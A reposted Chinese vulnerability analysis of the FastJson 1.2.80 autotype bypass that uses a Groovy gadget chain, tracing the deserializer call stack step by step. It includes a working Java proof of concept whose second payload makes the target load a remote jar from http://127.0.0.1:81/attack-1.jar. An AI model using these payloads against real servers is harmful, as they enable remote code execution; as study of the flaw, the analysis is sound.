FastJson1.2.80漏洞浅析

admin 2023年7月3日00:13:07评论44 views字数 4418阅读14分43秒阅读模式

扫码领资料

获黑客教程

免费&进群

FastJson1.2.80漏洞浅析
FastJson1.2.80漏洞浅析

漏洞环境

内容来自@浅蓝的HackingJson议题,本篇文章以理清漏洞思路为主,分为两部分来讲。以下是基于fastjson1.2.80 + groovy 的简易环境。

  1. <dependency>

  2. <groupId>com.alibaba</groupId>

  3. <artifactId>fastjson</artifactId>

  4. <version>1.2.80</version>

  5. </dependency>

  6. <dependency>

  7. <groupId>org.codehaus.groovy</groupId>

  8. <artifactId>groovy-all</artifactId>

  9. <version>3.0.13</version>

  10. </dependency>

  11. </dependencies>

执行demo

  1. package org.example;

  2. import com.alibaba.fastjson.JSON;

  3. //1.2.76-1.2.80

  4. public class FastJson_1280_groovy {

  5. public static void main(String[] args) {

  6. String payload_1 = "{n" +

  7. " "@type":"java.lang.Exception",n" +

  8. " "@type":"org.codehaus.groovy.control.CompilationFailedException",n" +

  9. " "unit":{}n" +

  10. "}";

  11. String payload_2 = "{n" +

  12. " "@type":"org.codehaus.groovy.control.ProcessingUnit",n" +

  13. " "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",n" +

  14. " "config":{n" +

  15. " "@type":"org.codehaus.groovy.control.CompilerConfiguration",n" +

  16. " "classpathList":"http://127.0.0.1:81/attack-1.jar"n" +

  17. " }n" +

  18. "}";

  19. System.out.println(payload_1);

  20. System.out.println(payload_2);

  21. try {

  22. JSON.parseObject(payload_1);

  23. } catch (Exception e) {

  24. }

  25. JSON.parseObject(payload_2);

  26. }

  27. }

0x01-添加新的反序列化器

parseObject开始追踪调用栈,经过简单的调用到获取反序列化器

当第一次传递的@typejava.lang.Exception 时,clazz获取到的是java.lang.Exception的类实例。由于java.lang.Exception继承自Throwable ,通过getDeserializer 函数拿到Throwable 的反序列化器ThrowableDeserializer

FastJson1.2.80漏洞浅析

在拿到反序列化器ThrowableDeserializer 后,继而调用序列化器接口方法deserialze 对后续json字符串进行反序列化

FastJson1.2.80漏洞浅析

每个JavaBeanDeserializer(json反序列化器)的原理都大致相同。在ThrowableDeserializer#deserialze 方法内,会对新的@type字段指向的类进行checkAutoType校验:传递@type字段作为其typename参数、Throwable.class 作为其expectClass 参数

FastJson1.2.80漏洞浅析

FastJson1.2.80漏洞浅析

因为传递了期望类(在这里是Throwable.class),在经过if (autoTypeSupport || jsonType || expectClassFlag) 时判断成立,利用TypeUtils.loadClass 获得org.codehaus.groovy.control.CompilationFailedException类对象

FastJson1.2.80漏洞浅析

紧接着在checkAutoType#1199行判断当前的clazzexpectClass是否来自相同接口,若相同则将该clazz添加至TypeUtils.mappings 中并将clazz返回。由于我们传递的CompilationFailedException继承自Exception且都实现了Throwable 接口,这里就直接返回CompilationFailedException类对象。

FastJson1.2.80漏洞浅析

ThrowableDeserializer#deserialze 流程继续往下走,会获取一个叫做fieldInfo 的对象,此对象封装了@type 所指类对象中的成员参数信息,例如成员参数名、参数值、参数类对象信息等。在样例payload中我们传递的是CompilationFailedException.unit参数,类型为ProcessingUnit ,那么获取到的filedInfo值如下图所示

FastJson1.2.80漏洞浅析

接下来是重点,将类成员的类型(filedInfo.filedType)、类成员的值、ParserConfig对象丢入函数TypeUtils.cast

FastJson1.2.80漏洞浅析

而在cast函数内经过一系列链式调用到putDeserializer方法。putDeserializer会对传入的filedType生成与之相应的JavaBeanDeserializer,并通过Hashmap.put方法将其加入到ParserConfig.deserializers

  1. putDeserializer:1148, ParserConfig (com.alibaba.fastjson.parser)

  2. getDeserializer:911, ParserConfig (com.alibaba.fastjson.parser)

  3. getDeserializer:613, ParserConfig (com.alibaba.fastjson.parser)

  4. castToJavaBean:1560, TypeUtils (com.alibaba.fastjson.util)

  5. cast:1128, TypeUtils (com.alibaba.fastjson.util)

  6. cast:1324, TypeUtils (com.alibaba.fastjson.util)

FastJson1.2.80漏洞浅析

0x02-绕过autotype

上文0x01所讲的都是payload_1所发挥的作用,接下来看看payload_2是如何绕过了autotype

首先@type字段指向CompilationFailedException的成员类型org.codehaus.groovy.control.ProcessingUnit 。由于在0x01@payload_1部分已经将ProcessingUnit 生成的反序列化器添加到ParserConfig中,于是在#1115行能够获取到ProcessingUnit类对象,

FastJson1.2.80漏洞浅析

紧接着的反序列化流程与0x01如出一辙,利用ProcessingUnitJavaBeanDeserializer#deserialize 实现后续的json反序列化,并将ProcessingUnit 作为expectClass使用。

FastJson1.2.80漏洞浅析

凡继承自ProcessingUnit 的类都能被反序列化而绕过autotype,例如我们使用的sink类JavaStubCompilationUnit。在0x01@payload_1中我们使用的是Exception作为json反序列化器与expectClass

FastJson1.2.80漏洞浅析

以上和fastjson1.2.68的攻击思路也是相同的,68利用AutoCloseable作为期望类,而1.2.68之后的版本将AutoCloseable列为了黑名单。于笔者而言,此漏洞最重要的一点在于拓宽了利用链的寻找视野。

简单看下面的图片描述,我将0x01的操作称为trigger。从Exception类出发,经过一次trigger就能将成员类型B添加进反序列化器(javabeanDeserializer),我们也可以理解为将B类作为期望类白名单,从而继承自B的类也能够无视autotype进行反序列化。第二次trigger流程也是如此,将C类中某成员类型D加入期望类白名单……因此,循环往复进行就能将成员类型B、D、F添加成为新的期望类白名单(类比效果,其实是加入到反序列化器中)

FastJson1.2.80漏洞浅析

对于攻击者而言,只需要找到C类、D类、E类、F类中任意可用的字段作为sink点即可,如果这些类中的字段在setter、构造函数中有被恶意调用,则利用成功。在groovy利用的exp中,CompilerConfiguration 的构造函数存在远程classpath加载的漏洞

0x03-两个问题

问题-1

Q:为什么需要多个poc,其中一个parseObject写在try catch中,另一个正常写入?

A:第一个payload为了将恶意的Class引入为ExpectClass,第二个payload是为了触发恶意Class中的构造方法、set/get方法等。具体原因在于,payload_1执行的过程中,在经过cast函数后获取到的value为null,而后在setValue 添加null值时会造成异常错误将本次parseObject终止。

FastJson1.2.80漏洞浅析

FastJson1.2.80漏洞浅析

因此需要在第一次payload_1执行中捕获异常,payload_2触发sink类中的恶意利用

问题-2

Q:在webapp的场景下,发送两次payload会影响反序列化器的生命周期吗?

A:不会影响。fastJson在调用parseObject解析时,传递的ParserConfig对象为静态变量,反序列化器作为deserializers属性存储在ParserConfig中

FastJson1.2.80漏洞浅析

FastJson1.2.80漏洞浅析

FastJson1.2.80漏洞浅析

原文地址:https://hpdoger.cn/2022/10/13/title: FastJson1.2.80漏洞浅析/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

FastJson1.2.80漏洞浅析

hack视频资料及工具

FastJson1.2.80漏洞浅析

(部分展示)


往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”吧


原文始发于微信公众号(白帽子左一):FastJson1.2.80漏洞浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月3日00:13:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson1.2.80漏洞浅析https://cn-sec.com/archives/1849942.html

发表评论

匿名网友 填写信息